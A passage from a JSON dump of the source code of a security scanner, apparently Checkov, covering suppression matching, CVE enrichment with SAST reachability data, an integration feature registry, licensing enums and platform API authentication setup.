 def _check_cve_suppression(self, record: Record, suppression: dict[str, Any]) -> bool:\n        if 'accountIds' not in suppression:\n            return False\n        if self.bc_integration.repo_id and self.bc_integration.source_id and self.bc_integration.source_id in \\\n                suppression['accountIds'] \\\n                and suppression['cves']:\n            repo_name = align_path(self.bc_integration.repo_id).split('/')[-1]\n            suppression_path = self._get_cve_suppression_path(suppression)\n            repo_file_path = align_path(record.repo_file_path)\n            file_abs_path = align_path(record.file_abs_path)\n            if file_abs_path == suppression_path[1:] or \\\n                    file_abs_path == suppression_path or \\\n                    file_abs_path.endswith(\"\".join([repo_name, suppression_path])) or \\\n                    removeprefix(repo_file_path, '/') == removeprefix(suppression_path, '/') \\\n                    or record.file_path == suppression_path:\n                return any(record.vulnerability_details and record.vulnerability_details['id'] == cve['cve']\n                           for cve in suppression['cves'])\n        return False\n\n    def _check_suppression(self, record: Record, suppression: dict[str, Any]) -> bool:\n        \"\"\"\n        Returns True if and only if the specified suppression applies to the specified record.\n        :param record:\n        :param suppression:\n        :return:\n        \"\"\"\n        if record.check_id != suppression['checkovPolicyId']:\n            return False\n\n        type = suppression['suppressionType']\n\n        if type == 'Policy':\n            # We already validated the policy ID above\n            return True\n        elif type == 'Accounts':\n            # This should be true, because we validated when we downloaded the policies.\n            # But checking here adds some resiliency against bugs if that changes.\n            return any(self.bc_integration.repo_matches(account) for account in suppression['accountIds'])\n        elif type == 'Resources':\n            logging.debug(f'check_suppression type Resources {suppression}. resource_id = {record.repo_file_path}:{record.resource} repo_id = {self.bc_integration.repo_id}')\n            for resource in suppression['resources']:\n                if self.bc_integration.repo_matches(resource['accountId']) \\\n                        and (resource['resourceId'] == f'{record.repo_file_path}:{record.resource}'\n                             or resource['resourceId'] == f'{convert_to_unix_path(record.file_path)}:{record.resource}'):\n                    return True\n            return False\n        elif type == 'Tags':\n            entity_tags = record.entity_tags\n            if not entity_tags:\n                return False\n            suppression_tags = suppression['tags']  # a list of objects of the form {key: str, value: str}\n\n            for tag in suppression_tags:\n                key = tag['key']\n                value = tag['value']\n                if entity_tags.get(key) == value:\n                    return True\n\n        elif type == 'CvesAccounts':\n            if 'accountIds' not in suppression:\n                return False\n            if self.bc_integration.source_id in suppression['accountIds']:\n                if record.vulnerability_details and record.vulnerability_details['id'] in suppression['cves']:\n                    return True\n            return False\n\n        elif type == 'Cves':\n            return self._check_cve_suppression(record, suppression)\n\n        elif type == 'LicenseType':\n            return any(record.vulnerability_details and record.vulnerability_details['license'] == license_type\n                       for license_type in suppression.get('licenseTypes', []))\n\n        return False\n\n    @staticmethod\n    def normalize_file_path(file_path: str) -> str:\n        \"\"\"\n        Returns the file path with a leading slash, if not already present\n        \"\"\"\n        return file_path if file_path.startswith('/') else f'/{file_path}'\n\n    def _check_suppression_v2_file(self, record_file_path: str, suppression_file_path: str, suppression_repo_name: str) -> bool:\n        return self.bc_integration.repo_matches(suppression_repo_name)\\\n            and (suppression_file_path == record_file_path or suppression_file_path == convert_to_unix_path(record_file_path))\n\n    def _check_suppression_v2(self, record: Record, suppression: dict[str, Any]) -> bool:\n        if record.check_id not in suppression['checkovPolicyIds']:\n            return False\n\n        type = suppression['ruleType']\n\n        if type == 'policy':\n            # We just checked the policy ID above\n            return True\n        elif type == 'finding':\n            pass  # TODO how to map them?\n        elif type == 'file':\n            record_file_path = SuppressionsIntegration.normalize_file_path(record.repo_file_path)\n            for file_suppression in suppression['files']:\n                suppression_file_path = SuppressionsIntegration.normalize_file_path(file_suppression['filePath'])\n                if self._check_suppression_v2_file(record_file_path, suppression_file_path, file_suppression.get('repositoryName', '')):\n                    return True\n        elif type == 'repository':\n            return any(self.bc_integration.repo_matches(repo.get('repositoryName', '')) for repo in suppression['repositories'])\n        return False\n\n    def _get_cve_suppression_path(self, suppression: dict[str, Any]) -> str:\n        suppression_path: str = align_path(suppression['cves'][0]['id'])\n        # for handling cases of IR/docker (e.g: '/Dockerfile:/DockerFile.FROM)\n        suppression_path_parts = suppression_path.split(':')\n        if len(suppression_path_parts) == 2 and suppression_path_parts[1].startswith(suppression_path_parts[0]):\n            return suppression_path_parts[0]\n        return suppression_path\n\n    def _suppression_valid_for_run(self, suppression: dict[str, Any]) -> bool:\n        \"\"\"\n        Returns whether this suppression is valid. A suppression is NOT valid if:\n        - the policy does not have a checkov ID and does not have an ID matching a custom policy format\n        - the suppression type is 'Accounts' and this repo is not included in the account list\n        :param suppression:\n        :return:\n        \"\"\"\n        policyId = suppression['policyId']\n        if policyId not in metadata_integration.bc_to_ckv_id_mapping and not self.custom_policy_id_regex.match(\n                policyId):\n            return False\n\n        if suppression['suppressionType'] == 'Accounts':\n            if not any(self.bc_integration.repo_matches(account) for account in suppression['accountIds']):\n                return False\n\n        return True\n\n    def _repo_matches(self, repo_name: str) -> bool:\n        if not self.repo_name_regex:\n            # shouldn't happen\n            return False\n\n        # matches xyz_org/repo or org/repo (where xyz is the BC org name and the CLI repo prefix from the platform)\n        return self.repo_name_regex.match(repo_name) is not None\n\n    def _init_repo_regex(self) -> None:\n        self.repo_name_regex = re.compile(f'^([a-zA-Z0-9]+_)?{self.bc_integration.repo_id}$')\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def get_policy_level_suppressions(self) -> dict[str, list[str]]:\n        policy_level_suppressions = {}\n        for check_suppressions in itertools.chain(self.suppressions.values(), self.suppressions_v2.values()):\n            for suppression in check_suppressions:\n                if (suppression['isV1'] and suppression.get(\"suppressionType\") == \"Policy\") or (not suppression['isV1'] and suppression.get(\"ruleType\") == \"policy\"):\n                    policy_level_suppressions[suppression['id']] = [suppression['policyId']] if suppression['isV1'] else suppression['policyIds']\n        return policy_level_suppressions\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        # not used\n        pass\n\n\nintegration = SuppressionsIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/features/vulnerabilities_integration.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom collections import defaultdict\nfrom typing import TYPE_CHECKING, Optional, List, Dict, Any, Tuple, Set\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME, Record\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.common.util.type_forcers import convert_str_to_bool\nfrom checkov.sast.report import SastData, SastReport\nfrom checkov.common.sca.consts import get_package_by_str, ScaPackageFile, sca_package_to_sast_lang_map\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\nNORMALIZE_PREFIX = 'BC_NORMALIZE_'\n\n\nclass VulnerabilitiesIntegration(BaseIntegrationFeature):\n    def __init__(self, bc_integration: BcPlatformIntegration) -> None:\n        super().__init__(bc_integration=bc_integration, order=2)  # must be after the custom policies integration\n        # the provider may be lower or upper depending on where the policy was created\n\n    def is_valid(self) -> bool:\n        return (\n            self.bc_integration.is_integration_configured()\n            and not self.bc_integration.skip_download\n            and not self.integration_feature_failures\n        )\n\n    def pre_scan(self) -> None:\n        # not used\n        pass\n\n    def pre_runner(self, runner: _BaseRunner) -> None:\n        # not used\n        pass\n\n    def post_runner(self, scan_report: Report) -> None:\n        # not used\n        pass\n\n    def post_scan(self, merged_reports: list[Report]) -> None:\n        self.merge_sca_and_sast_reports(merged_reports)\n\n    def merge_sca_and_sast_reports(self, merged_reports: list[Report]) -> None:\n        if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))) or \\\n                not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_SCA_INTEGRATE_SAST', False))):\n            return\n\n        # Extract SAST imports report and reachability report\n        sast_reports = [scan_report for scan_report in merged_reports if isinstance(scan_report, SastReport)]\n        if not len(sast_reports):\n            return\n\n        sast_imports_report = SastData.get_sast_import_report(sast_reports)\n        sast_reacability_report = SastData.get_sast_reachability_report(sast_reports)\n\n        # Extract SCA packages report\n        sca_packages_report = [scan_report for scan_report in merged_reports if\n                               scan_report.check_type == CheckType.SCA_PACKAGE]\n        if not len(sca_packages_report):\n            return\n\n        # Extract vulnerabilities failed checks\n        cves_checks = [cve_check for cve_check in sca_packages_report[0].failed_checks if\n                       cve_check.check_name == SCA_PACKAGE_SCAN_CHECK_NAME]\n\n        # Create a dictionary to store the grouped records\n        grouped_records = self.group_cves_checks_by_files(cves_checks)\n\n        # Iterate over each file, get sast imports and enrich it's Cves\n        for sca_file_path, current_cves in grouped_records.items():\n\n            # Determine the language of file\n            lang = self.get_sast_lang_by_file_path(sca_file_path)\n\n            # Extract Sast data from Sast report filtered by the language\n            imports_entries = sast_imports_report.get('imports', {}).get(lang, {}).items()\n            filtered_imports_entries = [(code_file_path, sast_data) for code_file_path, sast_data in imports_entries if\n                                        self.is_deeper_or_equal_level(sca_file_path, code_file_path)]\n\n            reachability_entries = sast_reacability_report.get('reachability', {}).get(lang, {}).items()\n            filtered_reachability_entries = [(code_file_path, sast_data) for code_file_path, sast_data in\n                                             reachability_entries if self.is_deeper_or_equal_level(sca_file_path,\n                                                                                                   code_file_path)]\n\n            if not len(filtered_imports_entries) and not len(filtered_reachability_entries):\n                continue\n\n            # Create maps with the relevant structure for the enrichment step\n            sast_files_by_package_map = self.create_file_by_package_map(filtered_imports_entries)\n            sast_reachable_cves_by_package_map = self.create_reachable_cves_by_package_map(filtered_reachability_entries)\n\n            # Enrich the CVEs\n            self.enrich_cves_with_sast_data(current_cves, sast_files_by_package_map, sast_reachable_cves_by_package_map)\n\n    '''\n    Each SCA report check has file_path, we want to getter same file_path so we won't have to calculate SAST language more then once\n    '''\n\n    def group_cves_checks_by_files(self, cves_checks: List[Record]) -> Dict[str, List[Record]]:\n        # Create a dictionary to store the grouped records\n        grouped_records: Dict[str, List[Record]] = defaultdict()\n\n        # Group the records by the 'file_path' key\n        for record in cves_checks:\n            file_path = record.file_path\n            if file_path not in grouped_records:\n                grouped_records[file_path] = list()\n            grouped_records[file_path].append(record)\n\n        return grouped_records\n\n    '''\n    convert SAST report structure to a structure grouped by package_name, for better performance in the enrich step\n    '''\n\n    def create_file_by_package_map(self, filtered_entries: List[Tuple[Any, Any]]) -> Dict[str, List[str]]:\n        sast_files_by_packages_map: Dict[str, List[str]] = defaultdict(list)\n        for code_file_path, sast_data in filtered_entries:\n            for package_name in sast_data['all']:\n                clean_package_name = package_name.strip(\"'\")\n\n                # in case it is alias-name, getting the real one\n                if package_name in sast_data.get('aliases', {}):\n                    clean_package_name = sast_data['aliases'][package_name]\n\n                # Normalize package name\n                normalize_package_name = self.normalize_package_name(clean_package_name)\n\n                if clean_package_name not in sast_files_by_packages_map:\n                    sast_files_by_packages_map[clean_package_name] = list()\n                if normalize_package_name not in sast_files_by_packages_map:\n                    sast_files_by_packages_map[normalize_package_name] = list()\n\n                sast_files_by_packages_map[clean_package_name].append(code_file_path)\n                sast_files_by_packages_map[normalize_package_name].append(code_file_path)\n\n        return sast_files_by_packages_map\n\n    def create_reachable_cves_by_package_map(self, filtered_reachability_entries: List[Tuple[Any, Any]]) -> Dict[str, Set[str]]:\n        reachable_cves_by_packages_map: Dict[str, Set[str]] = defaultdict(set)\n        for _, file_data in filtered_reachability_entries:\n            packages = file_data.packages\n            for package_name, package_data in packages.items():\n                for function_item in package_data.functions:\n                    reachable_cves_by_packages_map[package_name].add(function_item.cve_id)\n        return reachable_cves_by_packages_map\n\n#######################################################################################################################\n    '''\n    enrich each CVE with the risk factor of IsUsed - which means there is a file the use the package of that CVE\n    '''\n\n    def _is_package_used_for_cve(self, cve_vulnerability_details: Dict[str, Any], sast_files_by_package_map: Dict[str, List[str]]) -> bool:\n        package_name = cve_vulnerability_details.get('package_name', '')\n        normalize_package_name = self.normalize_package_name(package_name)\n        return package_name in sast_files_by_package_map or normalize_package_name in sast_files_by_package_map\n\n    def _is_reachable_function_for_cve(self, cve_vulnerability_details: Dict[str, Any], sast_reachable_cves_by_package_map: Dict[str, Set[str]]) -> bool:\n        package_name = cve_vulnerability_details.get('package_name', '')\n        return cve_vulnerability_details.get('id') in sast_reachable_cves_by_package_map.get(package_name, set())\n\n    def enrich_cves_with_sast_data(\n            self,\n            current_cves: List[Record],\n            sast_files_by_package_map: Dict[str, List[str]],\n            sast_reachable_cves_by_package_map: Dict[str, Set[str]]\n    ) -> None:\n        for cve_check in current_cves:\n            if cve_check.vulnerability_details:\n                is_package_used = self._is_package_used_for_cve(cve_check.vulnerability_details, sast_files_by_package_map)\n                cve_check.vulnerability_details.get('risk_factors', {})['IsUsed'] = is_package_used\n\n                is_reachable_function = self._is_reachable_function_for_cve(cve_check.vulnerability_details, sast_reachable_cves_by_package_map)\n                cve_check.vulnerability_details.get('risk_factors', {})['ReachableFunction'] = is_reachable_function\n#######################################################################################################################\n\n    '''\n    we want to consider sast info only on files that are on the same level of the SCA file or deeper.\n    '''\n\n    def is_deeper_or_equal_level(self, main_file_path: str, other_file_path: str) -> bool:\n        relative_path = os.path.relpath(os.path.dirname(other_file_path), os.path.dirname(main_file_path))\n        return not other_file_path.startswith('.') and not relative_path.startswith('..') and not os.path.isabs(\n            relative_path)\n\n    '''\n    getting file_path of SCA file, like package.json and need to convert it to SAST language like Javascript\n    first we are converting the sca file to package file like, and then converting it to SAST language\n    '''\n\n    def get_sast_lang_by_file_path(self, file_path: str) -> Optional[SastLanguages]:\n        suffix = file_path.split('/').pop() or ''\n        sca_package: Optional[ScaPackageFile] = get_package_by_str(suffix)\n        if not sca_package:\n            return None\n\n        return sca_package_to_sast_lang_map.get(sca_package, None)\n\n    '''\n    normalize the package name because there can be different between the package name as it present in the SCA file and\n    in the way it used in the code, so we are removing special chars for better comperation\n    '''\n\n    def normalize_package_name(self, package_name: str) -> str:\n        normalize_package: str = package_name.replace('-', '').replace('_', '')\n\n        if './' in package_name:\n            last_index = package_name.rfind('/')\n            normalize_package = package_name[last_index + 1:]\n\n        return f\"{NORMALIZE_PREFIX}{normalize_package}\"\n\n\nintegration = VulnerabilitiesIntegration(bc_integration)\n"
  },
  {
    "path": "checkov/common/bridgecrew/integration_features/integration_feature_registry.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from argparse import Namespace\n    from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature\n    from checkov.common.output.report import Report\n    from checkov.common.typing import _BaseRunner\n\n\nclass IntegrationFeatureRegistry:\n    def __init__(self) -> None:\n        self.config: Namespace | None = None\n        self.features: list[BaseIntegrationFeature] = []\n\n    def register(self, integration_feature: BaseIntegrationFeature) -> None:\n        logging.debug(f\"Adding the IntegrationFeatureRegistry {integration_feature} with order {integration_feature.order}\")\n        self.features.append(integration_feature)\n        self.features.sort(key=lambda f: f.order)\n        logging.debug(\"self.features after the sort:\")\n        logging.debug(self.features)\n\n    def run_pre_scan(self) -> None:\n        for integration in self.features:\n            if integration.is_valid():\n                integration.config = self.config\n                integration.pre_scan()\n\n    def run_pre_runner(self, runner: _BaseRunner) -> None:\n        for integration in self.features:\n            if integration.is_valid():\n                integration.pre_runner(runner)\n\n    def run_post_runner(self, scan_report: Report) -> None:\n        for integration in self.features:\n            if integration.is_valid():\n                integration.post_runner(scan_report)\n\n    def run_post_scan(self, scan_reports: list[Report]) -> list[Report]:\n        post_scan_reports = []\n        for integration in self.features:\n            if integration.is_valid():\n                integration_report = integration.post_scan(scan_reports)\n                if integration_report:\n                    post_scan_reports.append(integration_report)\n\n        return post_scan_reports\n\n\nintegration_feature_registry = IntegrationFeatureRegistry()\n"
  },
  {
    "path": "checkov/common/bridgecrew/licensing.py",
    "content": "from enum import Enum\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryType\n\n\nclass CustomerSubscription(str, Enum):\n    IAC = \"IAC\"\n    SCA = \"SCA\"\n    SECRETS = \"SECRETS\"\n    SAST = \"SAST\"\n\n\nclass BillingPlan(str, Enum):\n    DEVELOPER_BASED = \"DEVELOPER_BASED\"\n    RESOURCE_BASED = \"RESOURCE_BASED\"\n\n\nSubscriptionCategoryMapping = {\n    CustomerSubscription.IAC: (CodeCategoryType.IAC, CodeCategoryType.BUILD_INTEGRITY),\n    CustomerSubscription.SCA: (CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES),\n    CustomerSubscription.SECRETS: (CodeCategoryType.SECRETS,),\n    CustomerSubscription.SAST: (CodeCategoryType.WEAKNESSES,)\n}\n\nCategoryToSubscriptionMapping = {}\nfor sub, cats in SubscriptionCategoryMapping.items():\n    for cat in cats:\n        CategoryToSubscriptionMapping[cat] = sub\n\n\nopen_source_categories = [CodeCategoryType.IAC, CodeCategoryType.SECRETS, CodeCategoryType.BUILD_INTEGRITY]\n"
  },
  {
    "path": "checkov/common/bridgecrew/platform_errors.py",
    "content": "from typing import List\n\n\nclass PlatformConnectionError(Exception):\n    def __init__(self, message: str) -> None:\n        self.message = message\n\n    def __str__(self) -> str:\n        return f\"PlatformConnectionError: {self.message}\"\n\n\nclass BridgecrewAuthError(PlatformConnectionError):\n    def __init__(self, message: str = \"Authorization error accessing the platform api. Please check your API keys and \"\n                                      \"Prisma API URL.\") -> None:\n        self.message = message\n\n    def __str__(self) -> str:\n        return f\"BCAuthError: {self.message}\"\n\n\nclass ModuleNotEnabledError(Exception):\n    def __init__(self, message: str, unsupported_frameworks: List[str]) -> None:\n        self.message = message\n        self.unsupported_frameworks = unsupported_frameworks\n\n    def __str__(self) -> str:\n        return f\"ModuleNotEnabledError: {self.message}\"\n"
  },
  {
    "path": "checkov/common/bridgecrew/platform_integration.py",
    "content": "from __future__ import annotations\n\nimport asyncio\nimport json\nimport logging\nimport os.path\nimport re\nimport sys\nimport uuid\nfrom collections import namedtuple\nfrom concurrent import futures\nfrom io import StringIO\nfrom json import JSONDecodeError\nfrom os import path\nfrom pathlib import Path\nfrom time import sleep\nfrom types import MethodType\nfrom typing import List, Dict, TYPE_CHECKING, Any, Set, cast, Optional, Union\nfrom urllib.parse import urlparse\n\nimport boto3\nimport dpath\nimport urllib3\nimport urllib.parse\nfrom botocore.config import Config\nfrom botocore.exceptions import ClientError\nfrom cachetools import cached, TTLCache\nfrom colorama import Style\nfrom termcolor import colored\nfrom tqdm import trange\nfrom urllib3.exceptions import HTTPError, MaxRetryError\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.platform_errors import BridgecrewAuthError, PlatformConnectionError\nfrom checkov.common.bridgecrew.platform_key import read_key\nfrom checkov.common.bridgecrew.run_metadata.registry import registry\nfrom checkov.common.bridgecrew.wrapper import persist_assets_results, reduce_scan_reports, \\\n    persist_checks_results, \\\n    enrich_and_persist_checks_metadata, checkov_results_prefix, persist_run_metadata, _put_json_object, \\\n    persist_graphs, persist_resource_subgraph_maps, persist_reachability_results, \\\n    persist_multiple_logs_stream\nfrom checkov.common.models.consts import SAST_SUPPORTED_FILE_EXTENSIONS, SUPPORTED_FILE_EXTENSIONS, SUPPORTED_FILES, SCANNABLE_PACKAGE_FILES\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.common.sast.consts import SastLanguages, CDK_FRAMEWORK_PREFIX\nfrom checkov.common.typing import _CicdDetails, LibraryGraph\nfrom checkov.common.util.consts import PRISMA_PLATFORM, BRIDGECREW_PLATFORM\nfrom checkov.common.util.data_structures_utils import merge_dicts\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.common.util.http_utils import (\n    normalize_prisma_url,\n    get_auth_header,\n    get_default_get_headers,\n    get_user_agent_header,\n    get_default_post_headers,\n    get_prisma_get_headers,\n    get_prisma_auth_header,\n    get_auth_error_message,\n    normalize_bc_url,\n    REQUEST_CONNECT_TIMEOUT,\n    REQUEST_READ_TIMEOUT,\n    REQUEST_RETRIES,\n)\nfrom checkov.common.util.type_forcers import convert_prisma_policy_filter_to_params, convert_str_to_bool\nfrom checkov.version import version as checkov_version\n\nif TYPE_CHECKING:\n    import argparse\n    from checkov.common.bridgecrew.bc_source import SourceType\n    from checkov.common.output.report import Report\n    from checkov.secrets.coordinator import EnrichedSecret\n    from mypy_boto3_s3.client import S3Client\n    from typing_extensions import TypeGuard\n    from checkov.common.sast.report_types import Match, SkippedCheck\n\nSLEEP_SECONDS = 1\n\nEMAIL_PATTERN = re.compile(r\"[^@]+@[^@]+\\.[^@]+\")\nUUID_V4_PATTERN = re.compile(r\"^[0-9a-f]{8}\\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\\b[0-9a-f]{12}$\")\n# found at https://regexland.com/base64/\nBASE64_PATTERN = re.compile(r\"^(?:[A-Za-z\\d+/]{4})*(?:[A-Za-z\\d+/]{3}=|[A-Za-z\\d+/]{2}==)?$\")\nREPO_PATH_PATTERN = re.compile(r'checkov/(.*?)/src')\n\nACCOUNT_CREATION_TIME = 180  # in seconds\n\nUNAUTHORIZED_MESSAGE = 'User is not authorized to access this resource with an explicit deny'\nASSUME_ROLE_UNUATHORIZED_MESSAGE = 'is not authorized to perform: sts:AssumeRole'\n\nFileToPersist = namedtuple('FileToPersist', 'full_file_path s3_file_key')\n\nDEFAULT_REGION = \"us-west-2\"\nPRISMA_GOV_API_URL = 'https://api.gov.prismacloud.io'\nJAKARTA_API_URL = 'https://api.id.prismacloud.io'\n\nAPI_URL_REGION_MAP = {\n    PRISMA_GOV_API_URL: 'us-gov-west-1',\n    JAKARTA_API_URL: 'ap-southeast-3'\n}\n\nREGIONS_URL_NOT_SUPPORT_S3_ACCELERATE = {\n    PRISMA_GOV_API_URL,\n    JAKARTA_API_URL\n}\n\nMAX_RETRIES = 40\n\nCI_METADATA_EXTRACTOR = registry.get_extractor()\n\nREQUEST_STATUS_CODES_RETRY = [401, 408, 500, 502, 503, 504]\nREQUEST_METHODS_TO_RETRY = ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'PUT', 'TRACE', 'POST']\n\n\nclass BcPlatformIntegration:\n    def __init__(self) -> None:\n        self.clean()\n        self.set_config()\n\n    def clean(self) -> None:\n        self.bc_api_key = read_key()\n        self.s3_client: S3Client | None = None\n        self.bucket: str | None = None\n        self.credentials: dict[str, str] | None = None\n        self.repo_path: str | None = None\n        self.support_bucket: str | None = None\n        self.support_repo_path: str | None = None\n        self.repo_id: str | None = None\n        self.repo_branch: str | None = None\n        self.skip_fixes = False  # even though we removed the CLI flag, this gets set so we know whether this is a fix run (IDE) or not (normal CLI)\n        self.skip_download = False\n        self.source_id: str | None = None\n        self.bc_source: SourceType | None = None\n        self.bc_source_version: str | None = None\n        self.timestamp: str | None = None\n        self.scan_reports: list[Report] = []\n        self.bc_api_url = normalize_bc_url(os.getenv('BC_API_URL'))\n        self.prisma_api_url = normalize_prisma_url(os.getenv('PRISMA_API_URL') or 'https://api0.prismacloud.io')\n        self.prisma_policies_url: str | None = None\n        self.prisma_policy_filters_url: str | None = None\n        self.custom_auth_headers: dict[str, str] = {}\n        self.custom_auth_token: str | None = None\n        self.setup_api_urls()\n        self.customer_run_config_response = None\n        self.runtime_run_config_response = None\n        self.prisma_policies_response: dict[str, str] | None = None\n        self.prisma_policies_exception_response: dict[str, str] | None = None\n        self.public_metadata_response = None\n        self.use_s3_integration = False\n        self.s3_setup_failed = False\n        self.platform_integration_configured = False\n        self.http: urllib3.PoolManager | urllib3.ProxyManager | None = None\n        self.http_timeout = urllib3.Timeout(connect=REQUEST_CONNECT_TIMEOUT, read=REQUEST_READ_TIMEOUT)\n        self.http_retry = urllib3.Retry(\n            REQUEST_RETRIES,\n            redirect=3,\n            status_forcelist=REQUEST_STATUS_CODES_RETRY,\n            allowed_methods=REQUEST_METHODS_TO_RETRY\n        )\n        self.bc_skip_mapping = False\n        self.cicd_details: _CicdDetails = {}\n        self.support_flag_enabled = False\n        self.enable_persist_graphs = convert_str_to_bool(os.getenv('BC_ENABLE_PERSIST_GRAPHS', 'True'))\n        self.persist_graphs_timeout = int(os.getenv('BC_PERSIST_GRAPHS_TIMEOUT', 60))\n        self.ca_certificate: str | None = None\n        self.no_cert_verify: bool = False\n        self.on_prem: bool = False\n        self.daemon_process = False  # set to 'True' when running in multiprocessing 'spawn' mode\n        self.scan_dir: List[str] = []\n        self.scan_file: List[str] = []\n        self.sast_custom_policies: str = ''\n\n    def init_instance(self, platform_integration_data: dict[str, Any]) -> None:\n        \"\"\"This is mainly used for recreating the instance without interacting with the platform again\"\"\"\n\n        self.daemon_process = True\n\n        self.bc_api_url = platform_integration_data[\"bc_api_url\"]\n        self.bc_api_key = platform_integration_data[\"bc_api_key\"]\n        self.bc_source = platform_integration_data[\"bc_source\"]\n        self.bc_source_version = platform_integration_data[\"bc_source_version\"]\n        self.bucket = platform_integration_data[\"bucket\"]\n        self.cicd_details = platform_integration_data[\"cicd_details\"]\n        self.credentials = platform_integration_data[\"credentials\"]\n        self.platform_integration_configured = platform_integration_data[\"platform_integration_configured\"]\n        self.prisma_api_url = platform_integration_data.get(\"prisma_api_url\", 'https://api0.prismacloud.io')\n        self.custom_auth_headers = platform_integration_data[\"custom_auth_headers\"]\n        self.custom_auth_token = platform_integration_data[\"custom_auth_token\"]\n        self.repo_branch = platform_integration_data[\"repo_branch\"]\n        self.repo_id = platform_integration_data[\"repo_id\"]\n        self.repo_path = platform_integration_data[\"repo_path\"]\n        self.skip_fixes = platform_integration_data[\"skip_fixes\"]\n        self.timestamp = platform_integration_data[\"timestamp\"]\n        self.use_s3_integration = platform_integration_data[\"use_s3_integration\"]\n        self.setup_api_urls()\n        # 'mypy' doesn't like, when you try to override an instance method\n        self.get_auth_token = MethodType(lambda _=None: platform_integration_data[\"get_auth_token\"], self)  # type:ignore[method-assign]\n\n    def generate_instance_data(self) -> dict[str, Any]:\n        \"\"\"This output is used to re-initialize the instance and should be kept in sync with 'init_instance()'\"\"\"\n\n        return {\n            # 'api_url' will be set by invoking 'setup_api_urls()'\n            \"bc_api_url\": self.bc_api_url,\n            \"bc_api_key\": self.bc_api_key,\n            \"bc_source\": self.bc_source,\n            \"bc_source_version\": self.bc_source_version,\n            \"bucket\": self.bucket,\n            \"cicd_details\": self.cicd_details,\n            \"credentials\": self.credentials,\n            \"platform_integration_configured\": self.platform_integration_configured,\n            \"prisma_api_url\": self.prisma_api_url,\n            \"custom_auth_headers\": self.custom_auth_headers,\n            \"repo_branch\": self.repo_branch,\n            \"repo_id\": self.repo_id,\n            \"repo_path\": self.repo_path,\n            \"skip_fixes\": self.skip_fixes,\n            \"timestamp\": self.timestamp,\n            \"use_s3_integration\": self.use_s3_integration,\n            # will be overridden with a simple lambda expression\n            \"get_auth_token\": self.get_auth_token() if self.bc_api_key else \"\"\n        }\n\n    def set_bc_api_url(self, new_url: str) -> None:\n        self.bc_api_url = normalize_bc_url(new_url)\n        self.setup_api_urls()\n\n    def setup_api_urls(self) -> None:\n        \"\"\"\n        API URLs vary depending upon whether the platform is Bridgecrew or Prisma Cloud.\n        Bridgecrew has one default that can be used when initializing the class,\n        but Prisma Cloud requires resetting them in setup_bridgecrew_credentials,\n        which is where command-line parameters are first made available.\n        \"\"\"\n        if self.bc_api_url:\n            self.api_url = self.bc_api_url\n        else:\n            self.api_url = f\"{self.prisma_api_url}/bridgecrew\"\n            self.prisma_policies_url = f\"{self.prisma_api_url}/v2/policy\"\n            self.prisma_policy_filters_url = f\"{self.prisma_api_url}/filter/policy/suggest\"\n        self.guidelines_api_url = f\"{self.api_url}/api/v2/guidelines\"\n        self.guidelines_api_url_backoff = f\"{self.api_url}/api/v1/guidelines\"\n\n        self.integrations_api_url = f\"{self.api_url}/api/v1/integrations/types/checkov\"\n        self.platform_run_config_url = f\"{self.api_url}/api/v2/checkov/runConfiguration\"\n        self.reachability_run_config_url = f\"{self.api_url}/api/v2/checkov/reachabilityRunConfiguration\"\n        self.runtime_run_config_url = f\"{self.api_url}/api/v1/runtime-images/repositories\"\n\n    def is_prisma_integration(self) -> bool:\n        if (self.bc_api_key and not self.is_bc_token(self.bc_api_key)) or self.custom_auth_token:\n            return True\n        return False\n\n    @staticmethod\n    def is_token_valid(token: str) -> bool:\n        parts = token.split('::')\n        parts_len = len(parts)\n        if parts_len == 1:\n            valid = BcPlatformIntegration.is_bc_token(token)\n            # TODO: add it back at a later time\n            # if valid:\n            #     print(\n            #         \"We're glad you're using Checkov with Bridgecrew!\\n\"\n            #         \"Bridgecrew has been fully integrated into Prisma Cloud with a powerful code to cloud experience.\\n\"\n            #         \"As a part of the transition, we will be shutting down Bridgecrew standalone edition at the end of 2023 (https://www.paloaltonetworks.com/services/support/end-of-life-announcements).\\n\"\n            #         \"Please upgrade to Prisma Cloud Enterprise Edition before the end of the year.\\n\"\n            #     )\n\n            return valid\n        elif parts_len == 2:\n            # A Prisma access key is a UUID, same as a BC API key\n            if BcPlatformIntegration.is_bc_token(parts[0]) and parts[1] and BASE64_PATTERN.match(parts[1]) is not None:\n                return True\n            return False\n        else:\n            return False\n\n    @staticmethod\n    def is_bc_token(token: str | None) -> TypeGuard[str]:\n        if not token:\n            return False\n\n        return re.match(UUID_V4_PATTERN, token) is not None\n\n    @cached(TTLCache(maxsize=1, ttl=540))\n    def get_auth_token(self) -> str:\n        if self.is_bc_token(self.bc_api_key):\n            return self.bc_api_key\n        if self.custom_auth_token:\n            return self.custom_auth_token\n        # A Prisma Cloud Access Key was specified as the Bridgecrew token.\n        if not self.prisma_api_url:\n            raise ValueError(\"A Prisma Cloud token was set, but no Prisma Cloud API URL was set\")\n        if not self.bc_api_key:\n            # should usually not happen\n            raise ValueError(\"A Prisma 